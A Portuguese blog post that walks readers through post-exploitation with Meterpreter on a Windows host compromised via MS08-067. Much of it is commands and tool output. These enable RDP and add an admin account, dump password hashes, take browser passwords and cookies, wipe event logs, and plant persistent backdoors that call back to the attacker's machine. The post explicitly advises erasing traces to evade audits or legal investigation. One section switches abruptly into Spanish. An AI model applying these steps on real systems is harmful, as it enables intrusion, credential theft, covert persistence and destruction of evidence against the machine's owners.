Meterpreter…E depois do shell?Faz o que?

Estou escrevendo aqui este artigo para ficar uma dica , ou um norte (ideia) do que se fazer após se obter um shell na máquina.

Não vou entrar aqui nos detalhes de como se ganhar o shell na máquina ou do que se trata, pois se você está lendo este texto, acredito eu que você tenha noção do que está procurando.

Vou supor aqui que exploramos o clássico MS08_067.

Após aberta a sessão do meterpreter, muitos newbes ficam parados vendo uma tela preta cheia de letras rindo pois acabou de ter um shell, mas não sabe mais o que fazer dali para frente. Existem infinitas possibilidades, mas como comentei no inicio, o objetivo aqui é deixar uma base, uma ideia, um norte!

Acessando remotamente

Uma das coisas que podem ser feitas de inicio é acessar a máquina remotamente via Remote Desktop. Esse e o jeito mais pratico, rápido, mas é mais agressivo, deixa uitos vestígios, as vezes tem muitos usuários logados e enestes casos este método pode ser complicado. Supondo que você já esteja com o meterpreter aberto após explorar a falha, dê o comando shell para ganhar acesso á máquina e siga o seguinte procedimento:

Habilite o Remote Desktop com o seguinte comando:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Se quiser desabilitar depois para não deixar rastros:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f

Agora você precisa add um usuário local com poderes administrativos, para conseguir se logar

PS: Se quiser habilitar a assistência remota ( OPCIONAL)

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f

Criando o usuário local:

net user NOME_DO_USUARIO SENHA /add

Adicionando o usuário a um grupo:

net localgroup GRUPO USUARIO_CRIADO /add

Agora está prontinho, basta se conectar via remote Desktop, e se logar com seu usuário e senha criados.

Acessando o C: executando um processo:

execute -f “cmd.exe” -i -H

Usando o próprio meterpreter

Os scripts do Meterpreter são rotinas que podem ser executados a partir do intérprete e permite que você execute  ações específicas sobre o alvo e  são utilizadas para automatizar tarefas e agilizar atividades , os scripts disponíveis são executadas por linha de comando, alguns scripts úteis são:

arp_scanner

Vamos encontrar outras máquinas que estão no segmento de rede ou cometeram conexão com a máquina, para que você possa encontrar endereços IP e MAC das máquinas que têm acesso ao alvo, um cenário típico para isso é o acesso a partir de Internet a uma intranet , por exemplo:

Supondo-se que um pentester entrou em uma máquina que tem 2 interfaces de rede , uma das quais é dedicada à internet eo outro é para a conexão em intranet, porque o pentester tem acesso a esta máquina , você pode facilmente identificar essas interfaces de rede e , em seguida, executar máquinas de varredura no segmento de rede da intranet através de requisições ARP da seguinte forma:

meterpreter > run arp_scanner -h
Meterpreter Script for performing an ARPS Scan Discovery.OPTIONS:-h Help menu.-i Enumerate Local Interfaces-r <opt> The target address range or CIDR identifier

-s Save found IP Addresses to logs.

meterpreter > run arp_scanner -i

[*] Enumerating Interfaces

[*] National Semiconductor DP83815-Based PCI Fast Ethernet Adapter – Packet Scheduler Miniport

[*] 192.168.1.34

[*] 255.255.255.0

[*]

meterpreter > run arp_scanner -r 192.168.1.1/24

[*] ARP Scanning 192.168.1.1/24

[*] IP: 192.168.1.1 MAC 64:68:c:45:71:88

[*] IP: 192.168.1.33 MAC 4c:f:6e:e9:7f:16

[*] IP: 192.168.1.34 MAC 0:d:9d:82:cc:69

[*] IP: 192.168.1.35 MAC 0:1c:bf:5a:2a:25

checkvm:

Verifique se o alvo está sendo executado em uma máquina virtual ou um físico:

meterpreter > run checkvm
[*] Checking if target is a Virtual Machine …..[*] It appears to be physical host.

credcollect:

Com este comando, a lista de hashes que são armazenados no SAM dos dados alvo é obtido (Gosto muito desse comando, depois é so rodar um bruteforce):

meterpreter > run credcollect
[+] Collecting hashes…Extracted: Administrator:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0Extracted: ASPNET:f398e05bcb3020ceff92d55aff8ce62c:86ceb0fb2a9e29524943fed3ef434477………

enum_firefox:

Com este script você pode saber se o computador de destino está instalado FireFox e se assim for, o comando tentará baixar todas as informações armazenadas nesse navegador, objectos, tais como cookies, senhas salvas, histórico de navegação, etc.

meterpreter > run enum_firefox
[*] Firefox was found on this system.[*] Extracting Firefox data for user Owner[*] Downloading Firefox Password file to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownercert8.db’

[*] Downloading Firefox Password file to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownerkey3.db’

[*] Downloading Firefox Password file to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownersignons.sqlite’

[*] Downloading Firefox Database file cookies.sqlite to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownercookies.sqlite’

[*] Downloading Firefox Database file formhistory.sqlite to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownerformhistory.sqlite’

[*] Downloading Firefox Database file places.sqlite to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownerplaces.sqlite’

[*] Downloading Firefox Database file places.sqlite-journal to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownerplaces.sqlite-journal’

[*] Downloading Firefox Database file search.sqlite to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownersearch.sqlite’

[*] Getting Firefox Bookmarks for Owner

[*] Saving to /root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Owner_bookmarks.txt

[*] Getting list of Downloads using Firefox made by Owner

[*] Saving Download list to /root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Owner_download_list.txt

[*] Getting Firefox URL History for Owner

[*] Saving URL History to /root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Owner_history.txt

[*] Getting Firefox Form History for Owner

[*] Saving Firefox Form History to /root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Owner_form_history.txt

[*] Getting Firefox Search History for Owner

[*] Saving Firefox Search History to /root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Owner_search_history.txt

[*] It appears that Search History has been cleared

[*] Getting Firefox Cookies for Owner

Pode ser interessante para o usuário para extrair dados e senhas armazenadas lá para isso se usa o FirePassword , o procedimento é o seguinte:
1. Faça o download do programa (. Exec)

2. Procurar a partir Meterpreter para o diretório onde você fez o download ou o programa é armazenado usando os comandos getlwd e lcd (estes comandos permitem consultar o diretório atual (local) e mudar o caminho do diretório atual (local)

3. Em seguida, use o comando Meterpreter upload e fazer o upload do arquivo executável para a máquina remota.

4. Agora, execute o comando shell para abrir um console no sistema remoto e executar o FirePassword programa na máquina remota, com isso, o programa irá listar as rotas de navegação utilizados e suas credenciais de correspondentes em texto simples (no caso são armazenadas no navegador).

get_application_list

Obtém uma lista dos aplicativos que estão instalados no sistema comprometido com o número da versão que lhes estão associados:

meterpreter > run get_application_list
Installed Applications======================Name Version—- ——-7-Zip 4.65

Conexant 56K ACLink Modem

Open Command Prompt Shell Extension (x86-32) 2.0.1.0

……..

enum_logged_on_users

Fornece informações sobre os usuários que são atualmente logados:

meterpreter > run enum_logged_on_users -c
Current Logged Users====================SID User— —-

S-1-5-19 Local Service

S-1-5-20 Network Service

S-1-5-21-1004336348-1957994488-842925246-1003 Owner

S-1-5-21-1004336348-1957994488-842925246-1005

S-1-5-18 SYSTEM

get_env

Retorna as variáveis ​​de ambiente da vítima, permitindo conhecer as características físicas das variáveis ​​de máquina-alvo e de ambiente utilizadas como referência para o software instalado no destino, por muito úteis atividades de pós-exploração de um script do sistema é especificamente para coletar informações sobre a máquina comprometida.

scraper

Vamos coletar informações sobre o sistema e  arquivos armazenados no sistema local, a informação recolhida inclui, compartilhamentos de rede, senhas, entradas de registro, etc. toda esta informação é baixado e, em seguida, pode ser usado para apoiar o processo de pós-exploração do sistema, a fim de fortalecer o conhecimento da mesma.

meterpreter > run scraper
[*] New session on 192.168.1.34:31337…[*] Gathering basic system information…

[*] Dumping password hashes…

[*] Obtaining the entire registry…

[*] Exporting HKCU

[*] Downloading HKCU (C:\DOCUME~1\Owner\LOCALS~1\Temp\vXPnWyUV.reg)

[*] Cleaning HKCU

[*] Exporting HKLM

[*] Downloading HKLM (C:\DOCUME~1\Owner\LOCALS~1\Temp\yeglhdIM.reg)

[*] Cleaning HKLM

[*] Exporting HKCC

[*] Downloading HKCC (C:\DOCUME~1\Owner\LOCALS~1\Temp\ydknHdsv.reg)

[*] Cleaning HKCC

[*] Exporting HKCR

[*] Downloading HKCR (C:\DOCUME~1\Owner\LOCALS~1\Temp\aOduEHXB.reg)

[*] Cleaning HKCR

[*] Exporting HKU

[*] Downloading HKU (C:\DOCUME~1\Owner\LOCALS~1\Temp\wGFcKQnj.reg)

[*] Cleaning HKU

[*] Completed processing on 192.168.1.34:31337…

winenum

Este é um script que retorna todas as informações sobre o sistema de destino, misturando alguns dos acima, bem como outros comandos úteis , este scripts de informação, gera um relatório consolidado sobre todo o sistema de comunicação de dados relevantes  por isso, é altamente recomendado para uso em um processo de pós-exploit de um sistema.

meterpreter > run winenum -h
WinEnum — Windows local enumerationRetrieves all kinds of information about the systemincluding environment variables, network interfaces,routing, user accounts, and much more. Results are

stored in /root/.msf3/logs/scripts/winenum

OPTIONS:

-c Change Access, Modified and Created times of executables that were run on the target machine and clear the EventLog

-h Help menu.

-m Migrate the Meterpreter Session from it current process to a new cmd.exe before doing anything

-r Dump, compress and download entire Registry

meterpreter > run winenum

[*] Running Windows Local Enumerion Meterpreter Script

[*] New session on 192.168.1.34:31337…

[*] Saving general report to /root/.msf3/logs/scripts/winenum/OWNER_20110314.2422/OWNER_20110314.2422.txt

[*] Output of each individual command is saved to /root/.msf3/logs/scripts/winenum/OWNER_20110314.2422

[*] Checking if OWNER is a Virtual Machine ……..

[*] UAC is Disabled

[*] Running Command List …

[*] running command cmd.exe /c set

[*] running command ipconfig /all

……………….

prefetchtool

Fornece informações sobre os programas que têm sido frequentemente utilizados no sistema comprometido, datas de acesso e criação de cada um dos programas encontrados relatórios, este script usa um executável que deve ser incluído no quadro, no caso de que não foi encontrada, ela irá tentar fazer o download do Internet automaticamente, assim que você precisa ter para usar internet (se você tiver o arquivo no diretório prefetch.exe Metasploit) esse arquivo é instalado no <msf_install_directory>/data/prefetch.exe

meterpreter > run prefetchtool -h
[*] Prefetch-tool Meterpreter ScriptOPTIONS:-c Disable SHA1/MD5 checksum-h Help menu.

-i Perform lookup for software name

-l Download Prefetch Folder Analysis Log

-p List Installed Programs

-x <opt> Top x Accessed Executables (Based on Prefetch folder)

meterpreter > run prefetchtool -x 3 -c

[*] No local copy of prefetch.exe, downloading from the internet…

[*] Downloaded prefetch.exe to /opt/metasploit3/msf3/data/prefetch.exe

[*] Running Prefetch-tool script…

[*] Uploading Prefetch-tool for analyzing Prefetch folder…

[*] Prefetch-tool uploaded as C:\DOCUME~1\Owner\LOCALS~1\Temp\18337.exe

[*] OUT> Analyzing 120 of 121 files

[*] OUT> Analyzing 121 of 121 files

[*] OUT>

[*] OUT> * Top 3 Used Executables (Based on Prefetch Folder) *

[*] OUT> (1) Filename: avgcmgr.exe

[*] OUT> Num of Times Run: 222 times

[*] OUT> Last Run: Wed Mar 09 20:39:51 2011

[*] OUT> (2) Filename: wuauclt.exe

[*] OUT> Num of Times Run: 109 times

[*] OUT> Last Run: Sun Mar 13 01:58:22 2011

[*] OUT> (3) Filename: postgres.exe

[*] OUT> Num of Times Run: 104 times

[*] OUT> Last Run: Tue Mar 08 22:07:50 2011

[*] Deleting 64162.exe from target…

[*] Clearing prefetch-tool prefetch entry …

[*] [*] Saving prefetch logs to /root/.msf3/logs/prefetch/192.168.1.34-20110314.4236.log…

[*] [*] Deleting log file from target…

getcountermeasure

Este script fornece informações sobre os sistemas de segurança implementados no alvo, tais como AV e regras de firewall, e se possível tentar matar o processo.

meterpreter > run getcountermeasure
[*] Running Getcountermeasure on the target…[*] Checking for contermeasures…[*] Getting Windows Built in Firewall configuration…[*]

[*] Domain profile configuration:

[*] ——————————————————————-

[*] Operational mode = Enable

[*] Exception mode = Enable

[*]

[*] Standard profile configuration (current):

[*] ——————————————————————-

[*] Operational mode = Disable

[*] Exception mode = Enable

[*]

[*] Local Area Connection firewall configuration:

[*] ——————————————————————-

[*] Operational mode = Enable

[*]

[*] Checking DEP Support Policy…

[*] DEP is limited to Windows system binaries.

clearev

Este é um utilitário interessante que permite que você apague todos os arquivos de log gravadas no caso de a máquina comprometida, desta forma você pode esconder os vestígios das ações realizadas e foram provavelmente monitorado.

Em um sistema Windows, a ferramenta para exibir o log está localizado em Configuração → Ferramentas Administrativas → Visualizador de Eventos

Depois de executar o script que você pode ver que o aplicativo não contém todas as entradas relacionadas a atividades realizadas no sistema, deixando apenas um rastro indicando que o sistema executou uma auditoria automático com sucesso.

meterpreter > clearev
[*] Wiping 874 records from Application…[*] Wiping 2076 records from System…[*] Wiping 0 records from Security…meterpreter>

file_collector

 Este é um script que permite que você encontrar certos padrões de arquivos em um determinado diretório, desta forma você pode encontrar todos os arquivos com um nome e / ou a extensão indicada nos parâmetros do comando.

meterpreter > run file_collector
Meterpreter Script for searching and downloading files thatmatch a specific pattern. First save files to a file, edit anduse that same file to download the choosen files.OPTIONS:

-d <opt> Directory to start search on, search will be recursive.

-f <opt> Search blobs separated by a |.

-h Help menu.

-i <opt> Input file with list of files to download, one per line.

-l <opt> Location where to save the files.

-o <opt> Output File to save the full path of files found.

-r Search subdirectories.

Las opciones obligatorias son -d y -f para especificar el directorio de búsqueda y el filtro respectivamente, el siguiente ejemplo, busca todos los certificados almacenados en la partición C del disco duro, al igual que cualquier fichero con extensión .exploit

meterpreter > run file_collector -d C:\\ -f .cer|.exploit -r
[*] Searching for *.cer[*] C:\141381ad8e9662ef875b54bf39\x86\setup\sql_engine_core_inst_msi\pfiles\sqlservr\mssql.x\mssql\install\gdryknrt.cer (517 bytes)[*] C:\Documents and Settings\Owner\Desktop\mycertificate.cer (745 bytes)[*] C:\Program Files\Adobe\Reader 10.0\Reader\pmd.cer (420 bytes)

[*] C:\RECYCLER\S-1-5-21-1004336348-1957994488-842925246-1003\Dc6.cer (784 bytes)

[*] C:\RECYCLER\S-1-5-21-1004336348-1957994488-842925246-1003\Dc8.cer (740 bytes)

Como puede apreciarse, se han encontrado algunos certificados de usuario y son listados en el resultado, aunque no se haya encontrado nada sobre el otro filtro de búsqueda indicado.

Otra opción interesante es -o que nos permite especificar un fichero de salida, donde podremos almacenar los resultados del comando, Sin embargo no se queda aquí, también podemos obtener dichos ficheros y almacenarlos en local con el uso de la opción -l

meterpreter > run file_collector -l /opt/metasploit3/msf3/stoled/ -i /opt/metasploit3/msf3/stoled/files_stoled
[*] Reading file /opt/metasploit3/msf3/stoled/files_stoled[*] Downloading to /opt/metasploit3/msf3/stoled/[*] Downloading C:\141381ad8e9662ef875b54bf39\x86\setup\sql_engine_core_inst_msi\pfiles\sqlservr\mssql.x\mssql\install\gdryknrt.cer[*] Downloading C:\Documents and Settings\Owner\Desktop\mycertificate.cer

[*] Downloading C:\Program Files\Adobe\Reader 10.0\Reader\pmd.cer

[*] Downloading C:\RECYCLER\S-1-5-21-1004336348-1957994488-842925246-1003\Dc6.cer

[*] Downloading C:\RECYCLER\S-1-5-21-1004336348-1957994488-842925246-1003\Dc8.cer

persistence

Uma vez explorado um sistema, uma porta persistente que nos permite conectar a qualquer momento para o nosso objetivo, sem explorá-lo novamente é desejável para executar esta tarefa, existem algumas outras maneiras que envolvem a modificação do registro do Windows manualmente, neste caso, vamos fazer uso de uma das cargas que existem em uma sessão meterpreter para instalar o serviço.

Nota: Não especifique um valor para a autenticação, o que significa que qualquer usuário na máquina remota, pode fazer uma conexão com o backdoor, isso pode ser um risco de segurança elevado, por isso recomenda-se cautela e limpar qualquer registro (traço) após ter terminado a execução das tarefas.

meterpreter > run persistence -h
Meterpreter Script for creating a persistent backdoor on a target host.OPTIONS:-A Automatically start a matching multi/handler to connect to the agent-L <opt> Location in target host where to write payload to, if none %TEMP% will be used.

-P <opt> Payload to use, default is windows/meterpreter/reverse_tcp.

-S Automatically start the agent on boot as a service (with SYSTEM privileges)

-T <opt> Alternate executable template to use

-U Automatically start the agent when the User logs on

-X Automatically start the agent when the system boots

-h This help menu

-i <opt> The interval in seconds between each connection attempt

-p <opt> The port on the remote host where Metasploit is listening

-r <opt> The IP of the system running Metasploit listening for the connect back

meterpreter > run persistence -U -i 5 -p 4444 -r 192.168.1.33

[*] Running Persistance Script

[*] Resource file for cleanup created at /root/.msf3/logs/persistence/OWNER_20110307.1848/OWNER_20110307.1848.rc

[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=4444

[*] Persistent agent script is 610514 bytes long

[+] Persisten Script written to C:\WINDOWS\TEMP\cJYeLTeHhKhX.vbs

[*] Executing script C:\WINDOWS\TEMP\cJYeLTeHhKhX.vbs

[+] Agent executed with PID 2840

[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\DfctDISwu

[+] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\DfctDISwu

Agora você pode reiniciar a máquina comprometida, a fim de iniciar o processo recém-criado, isso pode ser feito com o comando reboot e uma vez que o usuário fizer logon novamente, a conexão com a máquina do atacante começará, portanto, a máquina deve ser preparada com um exploit e um PAYLOAD adequado como reverse_tcp, reverse_http, reverse_https ou metsvc_bind_tcp

metsrv

Outra maneira de manter o acesso a um alvo, é através do estabelecimento de um backdoor, você pode definir uma backdoor através do uso de extensão meterpreter metsvc desta forma pode, em seguida, acessar o cliente sem esperar a máquina novamente estabelecer a conexão.

Uma vez que é necessário encontrar o processo explorer (onde procuraremos o backdoor), mas não têm necessariamente de ser este processo especial, pois você pode executar o comando em qualquer processo válido identificador da sessão meterpreter obtido, indica a processo “explorer”, uma vez que é um dos processos mais importantes do sistema operacional:

meterpreter > ps
Process list============PID Name Arch Session User Path— —- —- ——- —- —-

0 [System Process]

4 System x86 0 NT AUTHORITY\SYSTEM

476 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe

….

meterpreter > migrate 244

[*] Migrating to 244…

[*] Migration completed successfully.

Uma vez que o processo de migração, você pode executar o comando

meterpreter > run metsvc
[*] Creating a meterpreter service on port 31337[*] Creating a temporary installation directory C:\DOCUME~1\Owner\LOCALS~1\Temp\lZBdswMe…[*] >> Uploading metsrv.dll…[*] >> Uploading metsvc-server.exe…

[*] >> Uploading metsvc.exe…

[*] Starting the service…

* Installing service metsvc

* Starting service

Service metsvc successfully installed.

Se já existe um backdoor instalado é possível excluir com a opção-r.

Agora que a porta da bagageira é estabelecida, você pode começar a qualquer momento uma ponte inversa para a máquina do atacante automaticamente, assim você pode usar o multi / handler explorar para realizar essas ações, além disso, uma carga definida para realizar a conexão imediata entre as duas máquinas:

msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp
PAYLOAD => windows/metsvc_bind_tcpmsf exploit(handler) > set RHOST 192.168.1.34

RHOST => 192.168.1.34

msf exploit(handler) > set LPORT 31337

LPORT => 31337

msf exploit(handler) > exploit

[*] Starting the payload handler…

[*] Started bind handler

[*] Meterpreter session 4 opened (192.168.1.33:38034 -> 192.168.1.34:31337) at Sun Mar 06 21:53:51 +0100 2011

meterpreter >

NOTA: Embora você pode remover este backdoor, na verdade o que a opção-r é para remover as entradas de registro da máquina remota, mas os arquivos carregadas na máquina, não é excluída, portanto, é importante realizar o apagamento de bibliotecas (. dll) e arquivos executáveis ​​(. exe) manualmente para evitar deixar vestígios que podem ser facilmente detectadas por uma auditoria de software ou de um processo judicial, além de que também é necessário para encerrar qualquer processo que está executando e dependente dos arquivos.

Anúncios

Deixe um comentário

Preencha os seus dados abaixo ou clique em um ícone para log in:

Logotipo do WordPress.com

Você está comentando utilizando sua conta WordPress.com. Sair / Alterar )

Imagem do Twitter

Você está comentando utilizando sua conta Twitter. Sair / Alterar )

Foto do Facebook

Você está comentando utilizando sua conta Facebook. Sair / Alterar )

Foto do Google+

Você está comentando utilizando sua conta Google+. Sair / Alterar )

Conectando a %s